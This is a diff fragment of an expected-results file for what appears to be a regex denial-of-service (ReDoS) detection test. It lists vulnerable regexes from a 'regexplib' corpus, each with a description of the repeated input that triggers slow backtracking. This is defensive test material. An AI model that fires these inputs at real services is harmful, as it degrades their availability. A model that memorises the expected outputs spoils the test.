'0@0' and with many repetitions of '0' can start matching anywhere after the start of the preceeding ([\\.\\-]?[a-zA-Z0-9]+)* | +| regexplib/email.js:25:106:25:117 | [a-zA-Z0-9]+ | Strings starting with '0@0' and with many repetitions of '0' can start matching anywhere after the start of the preceeding [A-Za-z0-9]+ | | regexplib/email.js:25:212:25:223 | [a-zA-Z0-9]+ | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding ([_\\.\\-]?[a-zA-Z0-9]+)* | -| regexplib/email.js:25:251:25:262 | [a-zA-Z0-9]+ | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding ([\\.\\-]?[a-zA-Z0-9]+)* | +| regexplib/email.js:25:251:25:262 | [a-zA-Z0-9]+ | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding [A-Za-z0-9]+ | | regexplib/email.js:28:2:28:4 | \\w+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding \\w+[\\w-\\.]*\\@\\w+((-\\w+)\|(\\w*))\\.[a-z]{2,3}$ | | regexplib/email.js:28:5:28:12 | [\\w-\\.]* | Strings starting with 'a' and with many repetitions of '0' can start matching anywhere after the start of the preceeding \\w+ | | regexplib/email.js:28:27:28:29 | \\w* | Strings starting with 'a@a' and with many repetitions of 'aa' can start matching anywhere after the start of the preceeding \\w+ | @@ -166,20 +166,20 @@ | regexplib/email.js:29:2:29:7 | [\\w-]+ | Strings with many repetitions of '-' can start matching anywhere after the start of the preceeding [\\w-]+@([\\w-]+\\.)+[\\w-]+ | | regexplib/email.js:31:197:31:224 | [^\\x01-\\x1F\\\\""\\*\\?<>:\|\\\\/]* | Strings starting with '!' and with many repetitions of '!' can start matching anywhere after the start of the preceeding [^\\x01-\\x1F\\\\""\\*\\?\|><:\\\\/]* | | regexplib/email.js:33:16:33:22 | [-.\\w]* | Strings starting with '0' and with many repetitions of '0' can start matching anywhere after the start of the preceeding ([-.\\w]*[0-9a-zA-Z])* | -| regexplib/email.js:33:38:33:51 | ([0-9a-zA-Z])+ | Strings starting with '0@' and with many repetitions of '0.0' can start matching anywhere after the start of the preceeding ([-\\w]*[0-9a-zA-Z])* | -| regexplib/email.js:33:53:33:58 | [-\\w]* | Strings starting with '0@0' and with many repetitions of '0' can start matching anywhere after the start of the preceeding ([-\\w]*[0-9a-zA-Z])* | +| regexplib/email.js:33:38:33:51 | ([0-9a-zA-Z])+ | Strings starting with '0@' and with many repetitions of '0.0' can start matching anywhere after the start of the preceeding [-\\w]* | +| regexplib/email.js:33:53:33:58 | [-\\w]* | Strings starting with '0@0' and with many repetitions of '0' can start matching anywhere after the start of the preceeding ([0-9a-zA-Z])+ | | regexplib/email.js:34:24:34:35 | [a-zA-Z0-9]+ | Strings starting with '0' and with many repetitions of '0' can start matching anywhere after the start of the preceeding ([_\\.\\-]?[a-zA-Z0-9]+)* | -| regexplib/email.js:34:63:34:74 | [a-zA-Z0-9]+ | Strings starting with '0@0' and with many repetitions of '0' can start matching anywhere after the start of the preceeding ([\\.\\-]?[a-zA-Z0-9]+)* | +| regexplib/email.js:34:63:34:74 | [a-zA-Z0-9]+ | Strings starting with '0@0' and with many repetitions of '0' can start matching anywhere after the start of the preceeding [A-Za-z0-9]+ | | regexplib/email.js:38:11:38:12 | .* | Strings starting with 'a@-' and with many repetitions of 'a@-' can start matching anywhere after the start of the preceeding .+ | -| regexplib/markup.js:1:11:1:12 | .* | Strings starting with '<' and with many repetitions of '=' can start matching anywhere after the start of the preceeding <[^>]*\\n?.*=("\|')?(.*\\.jpg)("\|')?.*\\n?[^<]*> | +| regexplib/markup.js:1:11:1:12 | .* | Strings starting with '<' and with many repetitions of '=' can start matching anywhere after the start of the preceeding [^>]* | | regexplib/markup.js:1:21:1:22 | .* | Strings starting with '<=' and with many repetitions of '==' can start matching anywhere after the start of the preceeding .* | | regexplib/markup.js:1:40:1:44 | [^<]* | Strings starting with '<=.jpg' and with many repetitions of ';' can start matching anywhere after the start of the preceeding .* | | regexplib/markup.js:2:3:2:7 | [^>]* | Strings starting with '<' and with many repetitions of '<' can start matching anywhere after the start of the preceeding <[^>]*> | -| regexplib/markup.js:3:440:3:456 | (\\s(?<attr>.+?))* | Strings starting with '<?i:q' and with many repetitions of ' a' can start matching anywhere after the start of the preceeding (<\\/?)(?i:(?<element>a(bbr\|cronym\|ddress\|pplet\|rea)?\|b(ase(font)?\|do\|ig\|lockquote\|ody\|r\|utton)?\|c(aption\|enter\|ite\|(o(de\|l(group)?)))\|d(d\|el\|fn\|i(r\|v)\|l\|t)\|em\|f(ieldset\|o(nt\|rm)\|rame(set)?)\|h([1-6]\|ead\|r\|tml)\|i(frame\|mg\|n(put\|s)\|sindex)?\|kbd\|l(abel\|egend\|i(nk)?)\|m(ap\|e(nu\|ta))\|no(frames\|script)\|o(bject\|l\|pt(group\|ion))\|p(aram\|re)?\|q\|s(amp\|cript\|elect\|mall\|pan\|t(r(ike\|ong)\|yle)\|u(b\|p))\|t(able\|body\|d\|extarea\|foot\|h\|itle\|r\|t)\|u(l)?\|var))(\\s(?<attr>.+?))*> | -| regexplib/markup.js:3:451:3:453 | .+? | Strings starting with '<?i:q ' and with many repetitions of ' a' can start matching anywhere after the start of the preceeding (<\\/?)(?i:(?<element>a(bbr\|cronym\|ddress\|pplet\|rea)?\|b(ase(font)?\|do\|ig\|lockquote\|ody\|r\|utton)?\|c(aption\|enter\|ite\|(o(de\|l(group)?)))\|d(d\|el\|fn\|i(r\|v)\|l\|t)\|em\|f(ieldset\|o(nt\|rm)\|rame(set)?)\|h([1-6]\|ead\|r\|tml)\|i(frame\|mg\|n(put\|s)\|sindex)?\|kbd\|l(abel\|egend\|i(nk)?)\|m(ap\|e(nu\|ta))\|no(frames\|script)\|o(bject\|l\|pt(group\|ion))\|p(aram\|re)?\|q\|s(amp\|cript\|elect\|mall\|pan\|t(r(ike\|ong)\|yle)\|u(b\|p))\|t(able\|body\|d\|extarea\|foot\|h\|itle\|r\|t)\|u(l)?\|var))(\\s(?<attr>.+?))*> | +| regexplib/markup.js:3:440:3:456 | (\\s(?<attr>.+?))* | Strings starting with '<?i:q' and with many repetitions of ' a' can start matching anywhere after the start of the preceeding .+? | +| regexplib/markup.js:3:451:3:453 | .+? | Strings starting with '<?i:q ' and with many repetitions of ' a' can start matching anywhere after the start of the preceeding (\\s(?<attr>.+?))* | | regexplib/markup.js:5:1525:5:1527 | \\s* | Strings starting with '?'DateLiteral' ?# Per the VB Spec : DateLiteral ::= '#' DateOrTime '#' # ?'DateOrTime' DateValue ?# TimeValue ::= HourValue : MinuteValue 10 ?# Hour 01 - 24 : 60 ?# Minute 01 - 60 : ?# Optional Minute :01 - :60 ' and with many repetitions of ' ' can start matching anywhere after the start of the preceeding \\s* | | regexplib/markup.js:6:11:6:25 | [\\w\\*\\)\\(\\,\\s]+ | Strings starting with 'SELECT ' and with many repetitions of 'SELECT\\t' can start matching anywhere after the start of the preceeding (SELECT\\s[\\w\\*\\)\\(\\,\\s]+\\sFROM\\s[\\w]+) | -| regexplib/markup.js:6:99:6:113 | [\\s\\w\\d\\)\\(\\,]* | Strings starting with ' INSERT INTO 0' and with many repetitions of '0' can start matching anywhere after the start of the preceeding (INSERT\\sINTO\\s[\\d\\w]+[\\s\\w\\d\\)\\(\\,]*\\sVALUES\\s\\([\\d\\w\\'\\,\\)]+) | +| regexplib/markup.js:6:99:6:113 | [\\s\\w\\d\\)\\(\\,]* | Strings starting with ' INSERT INTO 0' and with many repetitions of '0' can start matching anywhere after the start of the preceeding [\\d\\w]+ | | regexplib/markup.js:7:15:7:21 | [^\\\\"]* | Strings starting with '"!' and with many repetitions of '\\\\"!!' can start matching anywhere after the start of the preceeding "([^"](?:\\\\.\|[^\\\\"]*)*)" | | regexplib/markup.js:9:6:9:13 | [\\s\\S]*? | Strings starting with '<!--' and with many repetitions of '<!--' can start matching anywhere after the start of the preceeding <!--[\\s\\S]*?--[ \\t\\n\\r]*> | | regexplib/markup.js:11:6:11:8 | .*? | Strings starting with '<!--' and with many repetitions of '<!--' can start matching anywhere after the start of the preceeding <!--.*?--> | @@ -187,15 +187,15 @@ | regexplib/markup.js:12:117:12:121 | [^>]* | Strings starting with '<span' and with many repetitions of '<span' can start matching anywhere after the start of the preceeding (<span[^>]*>) | | regexplib/markup.js:12:149:12:153 | [^>]* | Strings starting with 'font-family:' and with many repetitions of 'font-family:' can start matching anywhere after the start of the preceeding (font-family:[^>]*[;']) | | regexplib/markup.js:12:171:12:175 | [^>]* | Strings starting with 'font-size:' and with many repetitions of 'font-size:' can start matching anywhere after the start of the preceeding (font-size:[^>]*[;'])(?-s) | -| regexplib/markup.js:13:6:13:12 | [^"']+? | Strings starting with '<' and with many repetitions of '!' can start matching anywhere after the start of the preceeding (?:[^"']+?\|.+?(?:"\|').*?(?:"\|')?.*?)*? | -| regexplib/markup.js:13:14:13:16 | .+? | Strings starting with '<' and with many repetitions of '!' can start matching anywhere after the start of the preceeding (?:[^"']+?\|.+?(?:"\|').*?(?:"\|')?.*?)*? | +| regexplib/markup.js:13:6:13:12 | [^"']+? | Strings starting with '<' and with many repetitions of '!' can start matching anywhere after the start of the preceeding .*? | +| regexplib/markup.js:13:14:13:16 | .+? | Strings starting with '<' and with many repetitions of '!' can start matching anywhere after the start of the preceeding .*? | | regexplib/markup.js:14:13:14:14 | .* | Strings starting with '<' and with many repetitions of 'a' can start matching anywhere after the start of the preceeding .* | | regexplib/markup.js:14:24:14:25 | .* | Strings starting with '<>' and with many repetitions of '>a' can start matching anywhere after the start of the preceeding .* | | regexplib/markup.js:16:5:16:9 | [^>]* | Strings starting with 'src' and with many repetitions of 'src' can start matching anywhere after the start of the preceeding src[^>]*[^/].(?:jpg\|bmp\|gif)(?:\\"\|\\') | | regexplib/markup.js:17:8:17:24 | (\\s(\\w*=".*?")?)* | Strings starting with '<a' and with many repetitions of ' =""' can start matching anywhere after the start of the preceeding .*? | | regexplib/markup.js:17:12:17:14 | \\w* | Strings starting with '<a ' and with many repetitions of '="" a' can start matching anywhere after the start of the preceeding .*? | -| regexplib/markup.js:17:17:17:19 | .*? | Strings starting with '<a ="' and with many repetitions of ' =""' can start matching anywhere after the start of the preceeding (\\s(\\w*=".*?")?)* | -| regexplib/markup.js:17:40:17:42 | .*? | Strings starting with '<a>' and with many repetitions of '">' can start matching anywhere after the start of the preceeding (\\s(\\w*=".*?")?)* | +| regexplib/markup.js:17:17:17:19 | .*? | Strings starting with '<a ="' and with many repetitions of ' =""' can start matching anywhere after the start of the preceeding \\w* | +| regexplib/markup.js:17:40:17:42 | .*? | Strings starting with '<a>' and with many repetitions of '">' can start matching anywhere after the start of the preceeding .*? | | regexplib/markup.js:19:2:19:12 | (<meta\\s+)* | Strings with many repetitions of '<meta ' can start matching anywhere after the start of the preceeding (<meta\\s+)*((name\\s*=\\s*("\|')(?<name>[^'("\|')]*)("\|')){1}\|content\\s*=\\s*("\|')(?<content>[^'("\|')]*)("\|')\|scheme\\s*=\\s*("\|')(?<scheme>[^'("\|')]*)("\|')) | | regexplib/markup.js:19:8:19:10 | \\s+ | Strings starting with '<meta' and with many repetitions of ' <meta' can start matching anywhere after the start of the preceeding (<meta\\s+)*((name\\s*=\\s*("\|')(?<name>[^'("\|')]*)("\|')){1}\|content\\s*=\\s*("\|')(?<content>[^'("\|')]*)("\|')\|scheme\\s*=\\s*("\|')(?<scheme>[^'("\|')]*)("\|')) | | regexplib/markup.js:20:52:20:53 | .* | Strings with many repetitions of '=color' can start matching anywhere after the start of the preceeding [^>]+ | @@ -204,22 +204,22 @@ | regexplib/markup.js:20:245:20:247 | .*? | Strings with many repetitions of 'color: # IF found THEN move ahead "" # single or double # or no quotes\\t' can start matching anywhere after the start of the preceeding .*? | | regexplib/markup.js:20:274:20:276 | .*? | Strings starting with '<font # Match start of Font Tag ' and with many repetitions of '<font # Match start of Font Tag a' can start matching anywhere after the start of the preceeding <\\*?font # Match start of Font Tag (?(?=[^>]+color.*>) #IF\\/THEN lookahead color in tag (.*?color\\s*?[=\|:]\\s*?) # IF found THEN move ahead ('+\\#*?[\\w\\s]*'+ # CAPTURE ColorName\\/Hex \|"+\\#*?[\\w\\s]*"+ # single or double \|\\#*\\w*\\b) # or no quotes\t.*?> # & move to end of tag \|.*?> # ELSE move to end of Tag ) # Close the If\\/Then lookahead # Use Multiline and IgnoreCase # Replace the matches from RE with MatchEvaluator below: # if m.Groups(1).Value<>"" then # Return "<font color=" & m.Groups(1).Value & ">" # else # Return "<font>" # end if | | regexplib/markup.js:25:11:25:15 | [^>]* | Strings starting with '<A' and with many repetitions of '<A' can start matching anywhere after the start of the preceeding <[a-zA-Z][^>]*\\son\\w+=(\\w+\|'[^']*'\|"[^"]*")[^>]*> | -| regexplib/markup.js:25:45:25:49 | [^>]* | Strings starting with '<A ona=a' and with many repetitions of '0' can start matching anywhere after the start of the preceeding [^>]* | +| regexplib/markup.js:25:45:25:49 | [^>]* | Strings starting with '<A ona=a' and with many repetitions of '0' can start matching anywhere after the start of the preceeding \\w+ | | regexplib/markup.js:27:3:27:7 | [^>]* | Strings starting with '<' and with many repetitions of '<' can start matching anywhere after the start of the preceeding <[^>]*name[\\s]*=[\\s]*"?[^\\w_]*"?[^>]*> | -| regexplib/markup.js:27:34:27:38 | [^>]* | Strings starting with '<name=' and with many repetitions of '\\t' can start matching anywhere after the start of the preceeding <[^>]*name[\\s]*=[\\s]*"?[^\\w_]*"?[^>]*> | +| regexplib/markup.js:27:34:27:38 | [^>]* | Strings starting with '<name=' and with many repetitions of '\\t' can start matching anywhere after the start of the preceeding [\\s]* | | regexplib/markup.js:29:6:29:13 | [\\d\\D]*? | Strings starting with '/*' and with many repetitions of 'a/*' can start matching anywhere after the start of the preceeding \\/\\*[\\d\\D]*?\\*\\/ | | regexplib/markup.js:33:10:33:11 | .* | Strings starting with '?s/*' and with many repetitions of '?s/*' can start matching anywhere after the start of the preceeding (?s)\\/\\*.*\\*\\/ | | regexplib/markup.js:34:4:34:10 | [^\\s>]* | Strings starting with '<' and with many repetitions of '<!' can start matching anywhere after the start of the preceeding <([^\\s>]*)(\\s[^<]*)> | -| regexplib/markup.js:37:15:37:19 | [\\w]* | Strings starting with '[a' and with many repetitions of '0' can start matching anywhere after the start of the preceeding [a-zA-Z0-9\|:\|\\/\|=\|-\|.\|\\?\|&]* | +| regexplib/markup.js:37:15:37:19 | [\\w]* | Strings starting with '[a' and with many repetitions of '0' can start matching anywhere after the start of the preceeding \\w+ | | regexplib/markup.js:40:23:40:25 | \\w+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (\\/?(?<step>\\w+))+ | | regexplib/markup.js:40:59:40:61 | \\s* | Strings starting with 'a[' and with many repetitions of ' ' can start matching anywhere after the start of the preceeding \\s* | | regexplib/markup.js:43:11:43:15 | [^>]* | Strings starting with '<A' and with many repetitions of '<A' can start matching anywhere after the start of the preceeding <[a-zA-Z][^>]*\\son\\w+=(\\w+\|'[^']*'\|"[^"]*")[^>]*> | -| regexplib/markup.js:43:45:43:49 | [^>]* | Strings starting with '<A ona=a' and with many repetitions of '0' can start matching anywhere after the start of the preceeding [^>]* | +| regexplib/markup.js:43:45:43:49 | [^>]* | Strings starting with '<A ona=a' and with many repetitions of '0' can start matching anywhere after the start of the preceeding \\w+ | | regexplib/markup.js:44:3:44:7 | [^>]* | Strings starting with '<' and with many repetitions of '<' can start matching anywhere after the start of the preceeding <[^>]*name[\\s]*=[\\s]*"?[^\\w_]*"?[^>]*> | -| regexplib/markup.js:44:34:44:38 | [^>]* | Strings starting with '<name=' and with many repetitions of '\\t' can start matching anywhere after the start of the preceeding <[^>]*name[\\s]*=[\\s]*"?[^\\w_]*"?[^>]*> | +| regexplib/markup.js:44:34:44:38 | [^>]* | Strings starting with '<name=' and with many repetitions of '\\t' can start matching anywhere after the start of the preceeding [\\s]* | | regexplib/markup.js:45:6:45:13 | [\\d\\D]*? | Strings starting with '/*' and with many repetitions of 'a/*' can start matching anywhere after the start of the preceeding \\/\\*[\\d\\D]*?\\*\\/ | | regexplib/markup.js:48:6:48:13 | [\\s\\S]*? | Strings starting with '<!--' and with many repetitions of '<!--' can start matching anywhere after the start of the preceeding <!--[\\s\\S]*?--> | -| regexplib/markup.js:53:15:53:19 | [\\w]* | Strings starting with '[a' and with many repetitions of '0' can start matching anywhere after the start of the preceeding [a-zA-Z0-9\|:\|\\/\|=\|-\|.\|\\?\|&]* | +| regexplib/markup.js:53:15:53:19 | [\\w]* | Strings starting with '[a' and with many repetitions of '0' can start matching anywhere after the start of the preceeding \\w+ | | regexplib/markup.js:56:23:56:25 | \\w+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (\\/?(?<step>\\w+))+ | | regexplib/markup.js:56:59:56:61 | \\s* | Strings starting with 'a[' and with many repetitions of ' ' can start matching anywhere after the start of the preceeding \\s* | | regexplib/markup.js:61:74:61:79 | [0-9]+ | Strings starting with '<Assembly:AssemblyVersion("0a' and with many repetitions of '00' can start matching anywhere after the start of the preceeding [0-9]+ | @@ -229,7 +229,7 @@ | regexplib/markup.js:61:122:61:127 | [0-9]+ | Strings starting with '<Assembly:AssemblyVersion("0a0a' and with many repetitions of '00' can start matching anywhere after the start of the preceeding [0-9]+ | | regexplib/markup.js:61:129:61:134 | [0-9]+ | Strings starting with '<Assembly:AssemblyVersion("0a0a0a' and with many repetitions of '00' can start matching anywhere after the start of the preceeding [0-9]+ | | regexplib/markup.js:61:147:61:148 | .* | Strings starting with '<Assembly:AssemblyVersion("*")>' and with many repetitions of '<Assembly:AssemblyVersion("*")>' can start matching anywhere after the start of the preceeding [^']*? | -| regexplib/markup.js:62:9:62:14 | [^>]*? | Strings starting with '<a\\t' and with many repetitions of '\\t' can start matching anywhere after the start of the preceeding <a[\\s]+[^>]*?href[\\s]?=[\\s\\"\\']+(.*?)[\\"\\']+.*?>([^<]+\|.*?)?<\\/a> | +| regexplib/markup.js:62:9:62:14 | [^>]*? | Strings starting with '<a\\t' and with many repetitions of '\\t' can start matching anywhere after the start of the preceeding [\\s]+ | | regexplib/markup.js:62:39:62:45 | [\\"\\']+ | Strings starting with '<a\\thref=\\t' and with many repetitions of '"' can start matching anywhere after the start of the preceeding .*? | | regexplib/markup.js:62:46:62:48 | .*? | Strings starting with '<a\\thref=\\t"' and with many repetitions of '"' can start matching anywhere after the start of the preceeding .*? | | regexplib/markup.js:62:51:62:55 | [^<]+ | Strings starting with '<a\\thref=\\t">' and with many repetitions of '>;' can start matching anywhere after the start of the preceeding .*? | @@ -239,16 +239,16 @@ | regexplib/misc.js:76:2:76:27 | (AUX\|PRN\|NUL\|COM\\d\|LPT\\d)+ | Strings with many repetitions of 'AUX' can start matching anywhere after the start of the preceeding (AUX\|PRN\|NUL\|COM\\d\|LPT\\d)+\\s*$ | | regexplib/misc.js:81:31:81:45 | [^a-z\\:\\,\\(\\)]* | Strings starting with '#' and with many repetitions of '#' can start matching anywhere after the start of the preceeding ([A-Zäöü0-9\\/][^a-z\\:\\,\\(\\)]*[A-Zäöü0-9])($\|[\\.\\:\\,\\;\\)\\-\\ \\+]\|s\\b) | | regexplib/misc.js:83:18:83:23 | [0-9]+ | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding \\d* | -| regexplib/misc.js:83:24:83:26 | \\d* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding [0-9]+ | +| regexplib/misc.js:83:24:83:26 | \\d* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding \\d* | | regexplib/misc.js:83:36:83:38 | \\d* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding [0-9]+ | | regexplib/misc.js:83:72:83:77 | [0-9]+ | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding \\d* | -| regexplib/misc.js:83:78:83:80 | \\d* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding [0-9]+ | +| regexplib/misc.js:83:78:83:80 | \\d* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding \\d* | | regexplib/misc.js:83:90:83:92 | \\d* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding [0-9]+ | | regexplib/misc.js:90:4:90:11 | ([a-z])+ | Strings with many repetitions of 'aa' can start matching anywhere after the start of the preceeding (([a-z])+.)+ | | regexplib/misc.js:93:3:93:4 | .* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (.*\\.([wW][mM][aA])\|([mM][pP][3])$) | | regexplib/misc.js:95:25:95:26 | .+ | Strings starting with 'at ' and with many repetitions of 'at a' can start matching anywhere after the start of the preceeding (at\\s)(?<fullClassName>.+)(\\.)(?<methodName>[^\\.]*)(\\()(?<parameters>[^\\)]*)(\\))((\\sin\\s)(?<fileName>.+)(:line )(?<lineNumber>[\\d]*))? | -| regexplib/misc.js:95:71:95:76 | [^\\)]* | Strings starting with 'at a.(' and with many repetitions of '((' can start matching anywhere after the start of the preceeding (at\\s)(?<fullClassName>.+)(\\.)(?<methodName>[^\\.]*)(\\()(?<parameters>[^\\)]*)(\\))((\\sin\\s)(?<fileName>.+)(:line )(?<lineNumber>[\\d]*))? | -| regexplib/misc.js:95:103:95:104 | .+ | Strings starting with 'at a.() in ' and with many repetitions of '() in -' can start matching anywhere after the start of the preceeding (at\\s)(?<fullClassName>.+)(\\.)(?<methodName>[^\\.]*)(\\()(?<parameters>[^\\)]*)(\\))((\\sin\\s)(?<fileName>.+)(:line )(?<lineNumber>[\\d]*))? | +| regexplib/misc.js:95:71:95:76 | [^\\)]* | Strings starting with 'at a.(' and with many repetitions of '((' can start matching anywhere after the start of the preceeding .+ | +| regexplib/misc.js:95:103:95:104 | .+ | Strings starting with 'at a.() in ' and with many repetitions of '() in -' can start matching anywhere after the start of the preceeding .+ | | regexplib/misc.js:101:52:101:70 | [a-z0-9\\/\\.\\?\\=\\&]* | Strings starting with '".htm' and with many repetitions of '.asp' can start matching anywhere after the start of the preceeding [a-z0-9\\/\\.\\?\\=\\&]* | | regexplib/misc.js:112:3:112:5 | \\s* | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding (\\s*\\(?0\\d{4}\\)?\\s*\\d{6}\\s*) | | regexplib/misc.js:112:32:112:34 | \\s* | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding (\\s*\\(?0\\d{3}\\)?\\s*\\d{3}\\s*\\d{4}\\s*) | @@ -262,15 +262,15 @@ | regexplib/misc.js:144:52:144:70 | [a-z0-9\\/\\.\\?\\=\\&]* | Strings starting with '".htm' and with many repetitions of '.asp' can start matching anywhere after the start of the preceeding [a-z0-9\\/\\.\\?\\=\\&]* | | regexplib/misc.js:148:12:148:18 | [^\\s>]+ | Strings starting with '<' and with many repetitions of '<!' can start matching anywhere after the start of the preceeding \\w?<\\s?\\/?[^\\s>]+(\\s+[^"'=]+(=("[^"]*")\|('[^\\']*')\|([^\\s"'>]*))?)*\\s*\\/?> | | regexplib/misc.js:148:20:148:22 | \\s+ | Strings starting with '<!' and with many repetitions of ' ' can start matching anywhere after the start of the preceeding [^"'=]+ | -| regexplib/misc.js:148:23:148:29 | [^"'=]+ | Strings starting with '<! ' and with many repetitions of ' ' can start matching anywhere after the start of the preceeding [^\\s"'>]* | +| regexplib/misc.js:148:23:148:29 | [^"'=]+ | Strings starting with '<! ' and with many repetitions of ' ' can start matching anywhere after the start of the preceeding \\s+ | | regexplib/misc.js:148:34:148:38 | [^"]* | Strings starting with '<! !="' and with many repetitions of '<" !="' can start matching anywhere after the start of the preceeding \\w?<\\s?\\/?[^\\s>]+(\\s+[^"'=]+(=("[^"]*")\|('[^\\']*')\|([^\\s"'>]*))?)*\\s*\\/?> | | regexplib/misc.js:148:44:148:49 | [^\\']* | Strings starting with '<! !'' and with many repetitions of '<' !'' can start matching anywhere after the start of the preceeding \\w?<\\s?\\/?[^\\s>]+(\\s+[^"'=]+(=("[^"]*")\|('[^\\']*')\|([^\\s"'>]*))?)*\\s*\\/?> | -| regexplib/misc.js:148:68:148:70 | \\s* | Strings starting with '<!' and with many repetitions of ' ' can start matching anywhere after the start of the preceeding [^"'=]+ | +| regexplib/misc.js:148:68:148:70 | \\s* | Strings starting with '<!' and with many repetitions of ' ' can start matching anywhere after the start of the preceeding \\s+ | | regexplib/misc.js:162:18:162:23 | [0-9]+ | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding \\d* | -| regexplib/misc.js:162:24:162:26 | \\d* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding [0-9]+ | +| regexplib/misc.js:162:24:162:26 | \\d* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding \\d* | | regexplib/misc.js:162:36:162:38 | \\d* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding [0-9]+ | | regexplib/misc.js:162:72:162:77 | [0-9]+ | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding \\d* | -| regexplib/misc.js:162:78:162:80 | \\d* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding [0-9]+ | +| regexplib/misc.js:162:78:162:80 | \\d* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding \\d* | | regexplib/misc.js:162:90:162:92 | \\d* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding [0-9]+ | | regexplib/misc.js:163:41:163:43 | \\s* | Strings starting with 'SR' and with many repetitions of ' ' can start matching anywhere after the start of the preceeding \\s* | | regexplib/misc.js:163:75:163:77 | \\s* | Strings starting with '99' and with many repetitions of ' ' can start matching anywhere after the start of the preceeding \\s* | @@ -286,33 +286,33 @@ | regexplib/numbers.js:13:9:13:11 | \\d* | Strings with many repetitions of '9' can start matching anywhere after the start of the preceeding \\d* | | regexplib/numbers.js:16:14:16:16 | \\d* | Strings starting with '0a' and with many repetitions of '09' can start matching anywhere after the start of the preceeding \\d* | | regexplib/strings.js:2:2:2:3 | .* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding .*[Pp]en[Ii1][\\$s].* | -| regexplib/strings.js:14:35:14:37 | \\w* | Strings starting with 'A' and with many repetitions of 'A' can start matching anywhere after the start of the preceeding (?<FirstName>[A-Z]\\.?\\w*\\-?[A-Z]?\\w*)\\s?(?<MiddleName>[A-Z]\\w*\|[A-Z]?\\.?)\\s?(?<LastName>[A-Z]\\w*\\-?[A-Z]?\\w*)(?:,\\s\|)(?<Suffix>Jr\\.\|Sr\\.\|IV\|III\|II\|) | -| regexplib/strings.js:14:61:14:63 | \\w* | Strings starting with 'AA' and with many repetitions of 'A' can start matching anywhere after the start of the preceeding (?<FirstName>[A-Z]\\.?\\w*\\-?[A-Z]?\\w*)\\s?(?<MiddleName>[A-Z]\\w*\|[A-Z]?\\.?)\\s?(?<LastName>[A-Z]\\w*\\-?[A-Z]?\\w*)(?:,\\s\|)(?<Suffix>Jr\\.\|Sr\\.\|IV\|III\|II\|) | -| regexplib/strings.js:14:107:14:109 | \\w* | Strings starting with 'AAA' and with many repetitions of 'A' can start matching anywhere after the start of the preceeding (?<FirstName>[A-Z]\\.?\\w*\\-?[A-Z]?\\w*)\\s?(?<MiddleName>[A-Z]\\w*\|[A-Z]?\\.?)\\s?(?<LastName>[A-Z]\\w*\\-?[A-Z]?\\w*)(?:,\\s\|)(?<Suffix>Jr\\.\|Sr\\.\|IV\|III\|II\|) | -| regexplib/strings.js:19:31:19:57 | [a-zæøå0-9]+ | Strings starting with '#@' and with many repetitions of '##' can start matching anywhere after the start of the preceeding ([a-zæøå0-9]+([\\.-]{0,1}[a-zæøå0-9]+\|[a-zæøå0-9]?))+ | +| regexplib/strings.js:14:35:14:37 | \\w* | Strings starting with 'A' and with many repetitions of 'A' can start matching anywhere after the start of the preceeding \\w* | +| regexplib/strings.js:14:61:14:63 | \\w* | Strings starting with 'AA' and with many repetitions of 'A' can start matching anywhere after the start of the preceeding \\w* | +| regexplib/strings.js:14:107:14:109 | \\w* | Strings starting with 'AAA' and with many repetitions of 'A' can start matching anywhere after the start of the preceeding \\w* | +| regexplib/strings.js:19:31:19:57 | [a-zæøå0-9]+ | Strings starting with '#@' and with many repetitions of '##' can start matching anywhere after the start of the preceeding [a-zæøå0-9]+ | | regexplib/strings.js:20:3:20:20 | ((\\\\")\|[^"(\\\\")])+ | Strings starting with '"' and with many repetitions of '\\\\"' can start matching anywhere after the start of the preceeding "((\\\\")\|[^"(\\\\")])+" | | regexplib/strings.js:21:3:21:7 | [^>]+ | Strings starting with '<' and with many repetitions of '<' can start matching anywhere after the start of the preceeding <[^>]+> | | regexplib/strings.js:23:3:23:20 | ((\\\\")\|[^"(\\\\")])+ | Strings starting with '"' and with many repetitions of '\\\\"' can start matching anywhere after the start of the preceeding "((\\\\")\|[^"(\\\\")])+" | | regexplib/strings.js:26:6:26:17 | [a-zA-Z,\\s]+ | Strings with many repetitions of '\\t' can start matching anywhere after the start of the preceeding \\s* | -| regexplib/strings.js:26:18:26:20 | \\s* | Strings starting with '\\t' and with many repetitions of '\\t' can start matching anywhere after the start of the preceeding [a-zA-Z,\\s]+ | +| regexplib/strings.js:26:18:26:20 | \\s* | Strings starting with '\\t' and with many repetitions of '\\t' can start matching anywhere after the start of the preceeding \\s* | | regexplib/strings.js:29:2:29:3 | .* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding .*\\$AVE | | regexplib/strings.js:30:2:30:3 | .* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding .*[Pp]re[Ss\\$]cr[iI1]pt.* | -| regexplib/strings.js:32:35:32:37 | \\w* | Strings starting with 'A' and with many repetitions of 'A' can start matching anywhere after the start of the preceeding 